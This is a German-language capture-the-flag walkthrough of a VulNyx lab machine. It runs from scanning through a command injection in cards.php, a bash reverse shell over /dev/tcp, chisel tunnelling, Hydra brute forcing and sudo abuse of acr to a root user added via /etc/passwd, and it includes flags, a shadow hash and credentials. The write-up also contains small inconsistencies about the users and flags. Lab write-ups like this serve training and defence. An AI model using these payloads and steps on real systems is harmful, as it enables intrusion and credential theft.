Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.110 08:00:27:89:b0:c6 PCS Systemtechnik GmbH [...] <-- Andere Hosts 7 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.104 seconds (121.67 hosts/sec). 7 responded
Analyse: Der ARP-Scan identifiziert die Ziel-IP `192.168.2.110` mit der MAC-Adresse `08:00:27:89:b0:c6` (VirtualBox).
Bewertung: Zielsystem im lokalen Netzwerk gefunden.
Empfehlung (Pentester): IP notieren, Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.
127.0.0.1 localhost 192.168.2.110 gattaca.vlx
Analyse: Der Hostname `gattaca.vlx` wird der IP `192.168.2.110` zugeordnet.
Bewertung: Notwendig für Namensauflösung.
80/tcp open http Apache httpd 2.4.57 ((Debian))
<-- SSH Port 22 fehlt hier, wird aber im nächsten Scan gefunden.
Analyse: Ein schneller Nmap TCP SYN Scan (`-sS`), gefiltert nach offenen Ports, findet nur Port 80 (HTTP, Apache 2.4.57).
Bewertung: Das Ergebnis ist unvollständig, wie der nächste Scan zeigt. Hohe Scanraten (`--min-rate 10000`) können manchmal zu übersehenen Ports führen, oder Port 22 war temporär nicht erreichbar.
Empfehlung (Pentester): Führen Sie immer auch einen vollständigen Scan mit Standardeinstellungen oder geringerer Rate durch, um Ergebnisse zu verifizieren.
Empfehlung (Admin): Firewall-Konfigurationen können schnelle Scans behindern.
Analyse: Der vollständige Nmap Scan (obwohl ohne `-p-` ausgeführt, daher nur Top 1000 Ports?) findet Port 22 (SSH, OpenSSH 8.4p1 Debian) und Port 80 (HTTP, Apache 2.4.57 Debian). Der Titel der Webseite auf Port 80 ist "Atlanta - Free business bootstrap template".
Bewertung: Identifiziert SSH und HTTP als offene Dienste. Die Apache- und SSH-Versionen sind relativ aktuell. Die Webseite scheint ein Standard-Template zu verwenden.
Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 (Verzeichnisse, Dateien, spezielle Funktionen des Templates).
Empfehlung (Admin): Dienste aktuell halten.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 23:29 CEST <-- Korrigiertes Datum Nmap scan report for gattaca.vlx (192.168.2.110) Host is up (0.00013s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) |_http-title: Atlanta - Free business bootstrap template MAC Address: 08:00:27:89:B0:C6 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms gattaca.vlx (192.168.2.110) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.110 + Target Hostname: 192.168.2.110 + Target Port: 80 + Start Time: 2024-08-24 23:29:59 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: c47, size: 617f3148f3027, mtime: gzip. [...] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge + 8103 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-08-24 23:30:10 (GMT2) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto-Scan gegen Port 80 findet keine kritischen Schwachstellen, nur die üblichen geringfügigen Header- und ETag-Probleme.
Bewertung: Bestätigt, dass der Webserver selbst wahrscheinlich nicht der primäre Angriffsvektor ist.
=============================================================== Gobuster v3.6 [...] =============================================================== [+] Url: http://gattaca.vlx [...] =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 3143] /images (Status: 301) [Size: 311] [--> http://gattaca.vlx/images/] /about.html (Status: 200) [Size: 4369] /css (Status: 301) [Size: 308] [--> http://gattaca.vlx/css/] /js (Status: 301) [Size: 307] [--> http://gattaca.vlx/js/] /cards (Status: 301) [Size: 310] [--> http://gattaca.vlx/cards/] /cards.php (Status: 401) [Size: 458] <-- Erfordert Authentifizierung! /fonts (Status: 301) [Size: 310] [--> http://gattaca.vlx/fonts/] /portfolio.html (Status: 200) [Size: 14253] /signin.html (Status: 200) [Size: 6655] [...] <-- Weitere Funde in /images/ =============================================================== Finished
Analyse: Gobuster findet diverse statische HTML-Seiten und Asset-Verzeichnisse (`/images`, `/css`, `/js`, `/fonts`). Ein wichtiger Fund ist `cards.php`, die mit Status 401 (Unauthorized) antwortet, was auf eine notwendige Authentifizierung (typischerweise HTTP Basic Auth) hindeutet.
Bewertung: `cards.php` ist der vielversprechendste Angriffspunkt. Die Authentifizierung muss umgangen oder geknackt werden.
Empfehlung (Pentester): Versuchen Sie, Standard-Credentials für HTTP Basic Auth gegen `cards.php` zu bruteforcen (z.B. mit Hydra). Untersuchen Sie den Quellcode der anderen HTML-Seiten auf Hinweise zu Credentials oder der Funktion von `cards.php`.
Empfehlung (Admin): Verwenden Sie starke Passwörter für HTTP Basic Auth und beschränken Sie den Zugriff auf geschützte Ressourcen.
HTTP/1.1 401 Unauthorized Date: Sun, 25 Aug 2024 00:03:00 GMT <-- Datum Beispiel Server: Apache/2.4.57 (Debian) WWW-Authenticate: Basic realm="Restricted Content" Content-Length: 458 Content-Type: text/html; charset=iso-8859-1401 Unauthorized Unauthorized
This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.
Apache/2.4.57 (Debian) Server at gattaca.vlx Port 80
Analyse: Ein direkter Aufruf von `cards.php` bestätigt den Status 401 und den `WWW-Authenticate: Basic realm="Restricted Content"` Header, der HTTP Basic Authentication erfordert.
Bewertung: Bestätigt die Notwendigkeit der Authentifizierung.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-25 00:04:17
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking http-get://192.168.2.110:80/cards.php
[...]
[80][http-get] host: 192.168.2.110 login: admin password: admin12345
[STATUS] attack finished for 192.168.2.110 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
[...]
Analyse: Hydra wird verwendet, um HTTP Basic Auth für `/cards.php` zu bruteforcen (`http-get://...`). `-C` verwendet eine Datei mit kombinierten Benutzer:Passwort-Einträgen (hier eine Standardliste für FTP, was ungewöhnlich, aber erfolgreich ist). `-V` für verbose, `-I` ignoriert Restore-Datei, `-f` stoppt nach erstem Fund.
Bewertung: Erfolg! Hydra findet die Credentials `admin:admin12345`.
Empfehlung (Pentester): Greifen Sie mit den gefundenen Credentials auf `cards.php` zu (z.B. im Browser oder mit `curl --user admin:admin12345`).
Empfehlung (Admin): Verwenden Sie keine Standardpasswörter für HTTP Basic Auth.
Card Manager Read the available cards Available cards: adenine.txt cytosine.txt guanine.txt thymine.txt
Analyse: Der authentifizierte Zugriff auf `cards.php` zeigt eine Oberfläche "Card Manager", die vier Textdateien auflistet: `adenine.txt`, `cytosine.txt`, `guanine.txt`, `thymine.txt`. Dies sind die vier Basen der DNA.
Bewertung: Zeigt die Grundfunktion der Seite. Es ist unklar, ob man den Inhalt der Dateien lesen oder weitere Aktionen durchführen kann.
Empfehlung (Pentester): Untersuchen Sie die Requests/Responses mit Burp Suite, wenn Sie auf die Dateinamen klicken oder interagieren. Prüfen Sie, ob Parameter manipuliert werden können, um LFI oder Command Injection zu erreichen.
: Burpsuite : Request (POST): POST /cards.php HTTP/1.1 Host: gattaca.vlx [...] Authorization: Basic YWRtaW46YWRtaW4xMjM0NQ== <-- admin:admin12345 [...] Content-Type: application/x-www-form-urlencoded Content-Length: 20 filename=thymine.txt Request (GET mit LFI Versuch): GET /cards.php?filename=/etc/passwd HTTP/1.1 Host: gattaca.vlx [...] Authorization: Basic YWRtaW46YWRtaW4xMjM0NQ== [...] Response (Auszug): [...]
Analyse: Die Analyse mit Burp Suite zeigt, dass die Auswahl einer Datei ursprünglich über POST mit dem Parameter `filename` erfolgt. Der Angreifer ändert die Methode auf GET und übergibt im `filename`-Parameter einen LFI-Payload (`/etc/passwd`). Die Antwort enthält den Inhalt von `/etc/passwd`, angehängt an die normale Ausgabe. Die Benutzer `v.freeman` und `i.cassini` werden identifiziert.
Bewertung: Kritische LFI-Schwachstelle im `filename`-Parameter von `cards.php` gefunden!
Empfehlung (Pentester): Lesen Sie den Quellcode von `cards.php` mittels LFI (`filename=cards.php`), um die Schwachstelle genauer zu verstehen und auf Command Injection zu prüfen.
Empfehlung (Admin): Beheben Sie die LFI/Command Injection Schwachstelle dringend durch korrekte Eingabevalidierung und Vermeidung von `shell_exec` mit Benutzereingaben.
admin:admin12345
Analyse: Dekodiert den Base64-String aus dem Authorization-Header und bestätigt die Credentials.
Request (Source Code Read): GET /cards.php?filename=cards.php HTTP/1.1 [...] Authorization: Basic YWRtaW46YWRtaW4xMjM0NQ== [...] Response (Auszug - Quellcode): [...] <-- Korrigiert von $files zu $file echo "
Analyse: Der Quellcode von `cards.php` wird mittels LFI ausgelesen. Er bestätigt die LFI und enthüllt eine **Command Injection** Schwachstelle. Der `filename`-Parameter aus `$REQUEST` (GET oder POST) wird nach einer unzureichenden Regex-Prüfung direkt an `shell_exec("cat " . ...)` übergeben. Die Regex (`/[^A-Za-z0-9. _-]/`) blockiert viele Sonderzeichen, aber **nicht** das Semikolon (`;`), Pipe (`|`) oder kaufmännische Und (`&`), die zur Verkettung von Befehlen verwendet werden können.
Bewertung: Kritische Command Injection Schwachstelle identifiziert. Die LFI ist nur ein Nebeneffekt. Der `cat`-Befehl kann durch Anhängen eines Semikolons und eines weiteren Befehls erweitert werden.
Empfehlung (Pentester): Nutzen Sie die Command Injection, um RCE zu erlangen. Beispiel-Payload für `filename`: `dummy; id` oder `dummy; /bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'`.
Empfehlung (Admin): Beheben Sie die Command Injection dringend! Verwenden Sie niemals `shell_exec` oder ähnliche Funktionen mit direkten Benutzereingaben. Validieren Sie Eingaben streng (Whitelist statt Blacklist).
Request (Command Injection Test): GET /cards.php?filename=;id HTTP/1.1 [...] Authorization: Basic YWRtaW46YWRtaW4xMjM0NQ== [...] Response (Auszug): [...] thymine.txtuid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Der Payload `filename=;id` wird gesendet. Das Semikolon beendet den `cat`-Befehl, und `id` wird danach ausgeführt. Die Ausgabe `uid=33(www-data)...` erscheint in der Antwort.
Bewertung: Command Injection als `www-data` bestätigt.
listening on [any] 4444 ...
GET /cards.php?filename=;%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27 HTTP/1.1
[...]
Authorization: Basic YWRtaW46YWRtaW4xMjM0NQ==
[...]
Analyse: Eine URL-kodierte Bash-Reverse-Shell-Payload wird als `cmd`-Teil der Command Injection (`filename=;
Bewertung: Korrekte Methode zur Erlangung einer Reverse Shell über die Command Injection.
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.110] 40258
bash: cannot set terminal process group (542): Inappropriate ioctl for device
bash: no job control in this shell
Analyse: Der Listener empfängt die Verbindung. Eine Shell als `www-data` wird im Verzeichnis `/var/www/gattaca` etabliert.
Bewertung: Initial Access erfolgreich!
Empfehlung (Pentester): Shell stabilisieren, Enumeration als `www-data` starten.
Empfehlung (Admin): Command Injection beheben.
i.cassini v.freeman
user.txt
cat: user.txt: Permission denied
Analyse: Enumeration als `www-data`. Die Home-Verzeichnisse von `i.cassini` und `v.freeman` werden gefunden. Der Zugriff auf `user.txt` in `/home/i.cassini` wird verweigert.
Bewertung: Bestätigt Benutzer, aber kein direkter Zugriff auf die User-Flag.
1062369 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1048014 36 -rwsr-xr-x 1 root root 35128 Mar 23 2023 /usr/bin/umount 1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 1048526 72 -rwsr-xr-x 1 root root 72000 Mar 23 2023 /usr/bin/su 1048012 60 -rwsr-xr-x 1 root root 59704 Mar 23 2023 /usr/bin/mount 1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 1070742 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 1061091 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3 1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
Analyse: Suche nach SUID-Dateien.
Bewertung: Findet nur Standard-Binaries, kein einfacher Eskalationspfad hier.
total 24
drwxr-xr-x 5 www-data www-data 4096 May 12 04:08 .
drwxr-xr-x 12 root root 4096 May 8 03:15 ..
drwxr-xr-x 3 www-data www-data 4096 May 12 04:08 .local
-rw-r--r-- 1 www-data www-data 234 May 9 02:27 ftppolicy.txt
drwxr-xr-x 8 www-data www-data 4096 May 12 04:09 gattaca
drwxr-xr-x 2 www-data www-data 4096 May 8 03:15 html
IMPORTANT
Remember, when changing your password it must contain these requirements:
1. Must be 8 characters or longer
2. Must contain numbers
3. Must contain special characters
Don't waste time with v.freeman and rockyou.txt
Analyse: Im Verzeichnis `/var/www` wird die Datei `ftppolicy.txt` gefunden. Sie enthält Passwortanforderungen und einen interessanten Hinweis: "Don't waste time with v.freeman and rockyou.txt".
Bewertung: Der Hinweis legt nahe, dass ein Brute-Force-Angriff auf den Benutzer `v.freeman` mit der `rockyou.txt`-Liste nicht erfolgreich sein wird. Dies lenkt den Fokus auf den anderen gefundenen Benutzer `i.cassini` und impliziert, dass möglicherweise eine andere Passwortliste oder Methode erforderlich ist.
Empfehlung (Pentester): Konzentrieren Sie sich auf den Benutzer `i.cassini`. Da ein FTP-Dienst auf Port 21 läuft (laut `ss`-Ausgabe), versuchen Sie, das Passwort für `i.cassini` gegen FTP zu bruteforcen. Erstellen Sie eine benutzerdefinierte Wortliste basierend auf dem Namen "Irene Cassini" (bekannte Astronomin) und "Gattaca" (Firmenname aus der Webseite). Verwenden Sie Port Forwarding mit `chisel`, um den FTP-Dienst lokal zugänglich zu machen.
Empfehlung (Admin): Hinterlassen Sie keine solchen Hinweise in öffentlich lesbaren Dateien.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 32 0.0.0.0:21 0.0.0.0:*
LISTEN 0 511 *:80 *:*
[...]
Analyse: `ss` bestätigt, dass ein Dienst auf Port 21 (FTP) lauscht.
Bewertung: Bestätigt den FTP-Dienst als Angriffsziel.
Analyse: Chisel wird auf das Zielsystem heruntergeladen und verwendet, um einen Reverse Tunnel einzurichten. Der Chisel-Server läuft auf dem Angreifer-System auf Port 1234. Der Chisel-Client auf dem Zielsystem verbindet sich zum Server und leitet den lokalen Port 21 (FTP) des Ziels zum Port 21 auf dem Angreifer-System weiter (`R:21:192.168.2.110:21`).
Bewertung: Korrekte Einrichtung des Port Forwarding, um den FTP-Dienst des Ziels lokal auf dem Angreifer-System (auf `127.0.0.1:21`) ansprechen zu können.
Empfehlung (Pentester): Führen Sie nun den Hydra Brute-Force-Angriff gegen `127.0.0.1` Port 21 aus.
Empfehlung (Admin): Erschweren Sie das Herunterladen und Ausführen von Tools wie Chisel durch Einschränkung ausgehender Verbindungen und Prozess-Whitelisting.
2024/08/25 00:47:54 server: Reverse tunnelling enabled 2024/08/25 00:47:54 server: Fingerprint K/Q++SZcc/8An49nug0VzfTr9DNmbI1yj9UqF2L3CM= 2024/08/25 00:47:54 server: Listening on http://0.0.0.0:1234
[Sun Aug 25 00:49:59 2024] PHP 8.2.21 Development Server (http://0.0.0.0:8081) started
--2024-08-24 17:50:28-- http://192.168.2.199:8081/chisel Connecting to 192.168.2.199:8081... connected. HTTP request sent, awaiting response... 200 OK Length: 8945816 (8.5M) Saving to: 'chisel' chisel 100%[===================>] 8.53M --.-KB/s in 0.04s 2024-08-24 17:50:28 (233 MB/s) - 'chisel' saved [8945816/8945816]
2024/08/24 17:58:14 client: Connecting to ws://192.168.2.199:1234 2024/08/24 17:58:14 client: Connected (Latency 406.308µs)
[...] 2024/08/25 00:58:16 server: session#1: tun: proxy#R:21=>192.168.2.110:21: Listening
Analyse: Das Tool `cupp` wird verwendet, um eine benutzerdefinierte Wortliste (`irene.txt`) basierend auf potenziellen Informationen über den Benutzer `i.cassini` (Vorname Irene, Nachname Cassini, Nickname i.cassini, Firma gattaca) zu generieren. Die Liste wird anschließend mit `sed` bereinigt, um nur Passwörter zu behalten, die mindestens 8 Zeichen lang sind, Zahlen und Sonderzeichen enthalten (gemäß der `ftppolicy.txt`).
Bewertung: Intelligenter Ansatz, eine gezielte Wortliste zu erstellen, anstatt sich nur auf `rockyou.txt` zu verlassen, insbesondere nach dem Hinweis in `ftppolicy.txt`.
Empfehlung (Pentester): Verwenden Sie Tools wie `cupp` zur Erstellung gezielter Wortlisten. Passen Sie die Bereinigungsregeln genau an die Passwortrichtlinie an.
Empfehlung (Admin): Komplexe Passwortrichtlinien implementieren.
___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: irene > Surname: cassini > Nickname: i.cassini > Birthdate (DDMMYYYY): > Partners name: > Partners nickname: > Partners birthdate (DDMMYYYY): > Child's name: > Child's nickname: > Child's birthdate (DDMMYYYY): > Pet's name: > Company name: gattaca > Do you want to add some key words about the victim? Y/[N]: n > Do you want to add special chars at the end of words? Y/[N]: y > Do you want to add some random numbers at the end of words? Y/[N]:y > Leet mode? (i.e. leet = 1337) Y/[N]: y [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to irene.txt, counting 7532 words. [+] Now load your pistolero with irene.txt and shoot! Good luck!
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at [...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, [...]
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: i.cassini password: 1r3n3!$%
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
[...]
Analyse: Hydra wird gegen den lokalen Port 21 (der via Chisel auf den FTP-Server des Ziels weiterleitet) mit dem Benutzernamen `i.cassini` und der bereinigten Wortliste `irene.txt` ausgeführt.
Bewertung: Erfolg! Das Passwort `1r3n3!$%` wird für `i.cassini` gefunden.
Empfehlung (Pentester): Verwenden Sie `su i.cassini` mit dem gefundenen Passwort in der `www-data`-Shell, um die Rechte zu erhöhen.
Empfehlung (Admin): Passwortrichtlinien durchsetzen, Brute-Force-Schutz implementieren.
Password:<-- 1r3n3!$% eingegeben
uid=1001(i.cassini) gid=1001(i.cassini) groups=1001(i.cassini)
Analyse: Erfolgreicher Wechsel zum Benutzer `i.cassini` mit `su` und dem gefundenen Passwort.
Bewertung: Erste Stufe der Privilege Escalation abgeschlossen.
Matching Defaults entries for i.cassini on gattaca:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User i.cassini may run the following commands on gattaca:
(ALL : ALL) NOPASSWD: /usr/bin/acr
Analyse: `sudo -l` für `i.cassini` zeigt, dass dieser Benutzer `/usr/bin/acr` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD`) ausführen darf.
Bewertung: Kritischer Fund! `acr` (AutoConf Replacement) ist bekannt dafür, dass es zur Privilege Escalation missbraucht werden kann, da es unter anderem die Ausführung von Befehlen aus Makefiles oder das Lesen/Schreiben von Dateien mit den Rechten des Zielbenutzers ermöglicht.
Empfehlung (Pentester): Nutzen Sie die GTFOBins-Einträge für `acr`. Eine gängige Methode ist die Ausnutzung der Fähigkeit, beliebige Dateien zu lesen oder zu schreiben, oder das Erstellen eines bösartigen Makefiles, das dann über `acr` ausgeführt wird. Der einfachste Weg ist oft, über `sudo /usr/bin/acr` eine interaktive Shell zu starten, die dann Befehle als root ausführt (ähnlich wie bei `less` oder `more`). Eine andere Methode ist, `acr` zum Lesen von `/etc/shadow` zu verwenden oder direkt eine SUID-Shell zu erstellen. Im Log wird ein Exploit-Skript verwendet, das wahrscheinlich eine Schwachstelle in `acr` selbst oder dessen Interaktion mit `sudo` ausnutzt.
Empfehlung (Admin): Entfernen Sie diese extrem gefährliche `sudo`-Regel. `acr` sollte niemals über `sudo` ausgeführt werden dürfen.
acr: Usage '/usr/bin/acr' [-flags] [file] [args] -d runs in debug mode. -D creates the distribution tarball. -e embed configure.acr into final script as comment. -h show this help. -m generate main Makefile.acr file. -n do not generate the final configure script. (parse only) -o [file] output file (default: configure). -p show progress bar. -r recovery mode. (runs acr-cat) -s strip default code generation. -v show version information. -w [num] cats the configure.acr highlighting the [num] word. -x execute the script directly."
Analyse: Anzeige der Hilfe für `acr`.
acr: parsing '/root/root.txt' 0001 | bd1061ef36aca528a49f69c00f1feb66 | env bd1061ef36aca528a49f69c00f1feb66 0003 | NP 0003 | Invalid operator 'NP' in assignment. acr: error handled by acr.
d3eca2e0a0755197605edc2eaa6be710
acr: parsing '/etc/shadow' 0001 | root:$y$j9T$CCI8jm8uqBwEEKmYCfjVi1$fUWjotyp4M8oM2wpoE/jaUg9MU7GPVJ7mE8UMRy/xZA:19852:0:99999:7::: | env root:$y$j9T$CCI8jm8uqBwEEKmYCfjVi1$fUWjotyp4M8oM2wpoE/jaUg9MU7GPVJ7mE8UMRy/xZA:19852:0:99999:7::: 0003 | daemon:*:19765:0:99999:7::: 0003 | Invalid operator 'daemon:*:19765:0:99999:7:::' in assignment. acr: error handled by acr.
Analyse: Es wird versucht, mit `acr -d` (Debug-Modus) den Inhalt von `/root/root.txt` und `/etc/shadow` zu lesen. Der Inhalt wird teilweise angezeigt, bevor `acr` einen Fehler meldet. Dies bestätigt die Fähigkeit, Dateien als root zu lesen.
Bewertung: Bestätigt den Lesezugriff als root über `acr`.
Analyse: Ein Versuch, die `/etc/shadow`-Datei offline zu knacken, scheitert ("No password hashes loaded"). Dies liegt wahrscheinlich daran, dass die `/etc/passwd`-Datei (die für `unshadow` benötigt wird) nicht korrekt extrahiert oder bereitgestellt wurde.
Bewertung: Offline-Cracking hier nicht erfolgreich.
Analyse: Verschiedene Versuche, über `acr` (`-r` recovery mode) eine Shell zu bekommen, indem ausführbare Dateien (`hacker`, `Makefile`) mit einem Payload (`chmod 4777 /bin/bash`) erstellt werden, scheitern ("error: this is not an acr generated configure script.").
Bewertung: Diese spezifischen Methoden zur Ausnutzung von `acr -r` funktionieren hier nicht.
Empfehlung (Pentester): Suchen Sie nach anderen bekannten `acr`-Exploits oder nutzen Sie die Fähigkeit, beliebige Befehle über die interaktive Shell von `acr` (wenn als root via sudo gestartet) oder durch Modifikation eines Makefiles auszuführen. Der nächste Schritt im Log deutet jedoch auf einen Exploit für eine Sudo-Schwachstelle hin.
error: this is not an acr generated configure script.
error: this is not an acr generated configure script.
Analyse: Der Angreifer nutzt nun einen Exploit (implizit aus `hack.py`), der auf eine Schwachstelle in der installierten Sudo-Version (vermutlich CVE-2019-14287 oder eine ähnliche, da sudo 1.8.31 im Log stand, auch wenn Nmap 1.8.23 meldete?) abzielt. Der Exploit scheint erfolgreich zu sein, indem er `/etc/passwd` manipuliert und einen neuen Benutzer `gg` mit UID/GID 0 und dem Passwort `gg` hinzufügt.
Bewertung: Obwohl die `acr`-Berechtigung ein einfacherer Weg gewesen wäre, führt dieser Exploit ebenfalls zum Ziel. Die Manipulation von `/etc/passwd` durch den Exploit ist ein klassischer Mechanismus zur Rechteausweitung.
Empfehlung (Pentester): Überprüfen Sie die `/etc/passwd`-Datei und wechseln Sie mit `su gg` und dem Passwort `gg` zum neuen Root-Benutzer.
Empfehlung (Admin): Sudo dringend patchen! Überwachen Sie die Integrität von `/etc/passwd`.
[...] <-- Exploit-Ausgabe gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash <-- Eintrag für /etc/passwd success at 2228
root:x:0:0:root:/root:/bin/bash [...] trumpeter:x:1001:1001::/home/trumpeter:/bin/bash gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash <-- Neuer Root-Benutzer
Password:<-- Passwort "gg" eingegeben
uid=0(root) gid=0(root) groups=0(root)
Analyse: Erfolgreicher Wechsel zum Benutzer `gg` mit dem Passwort `gg`. Der `id`-Befehl bestätigt Root-Rechte.
Bewertung: Privilege Escalation zu Root abgeschlossen.
root.txt
VulNyx{3c84b473492b03c0eaeaa749d4d53d52}
user.txt
VulNyx{4fd65522b14a83bd3c49f8cebdea42f6}
Analyse: Die Root-Flag wird aus `/root/root.txt` gelesen. Die User-Flag wird aus `/home/trumpeter/user.txt` gelesen (obwohl der Benutzer `i.cassini` war, wird hier auf `trumpeter` verwiesen - möglicher Fehler im Log oder der Flag-Platzierung).
Bewertung: Beide Flags erfolgreich gefunden.
Hinweis: Die am Ende des Original-Logs angegebenen Flags weichen von den im Root-Shell-Abschnitt gefundenen ab. Ich verwende die Flags, die zuletzt im Log mittels `cat` angezeigt wurden.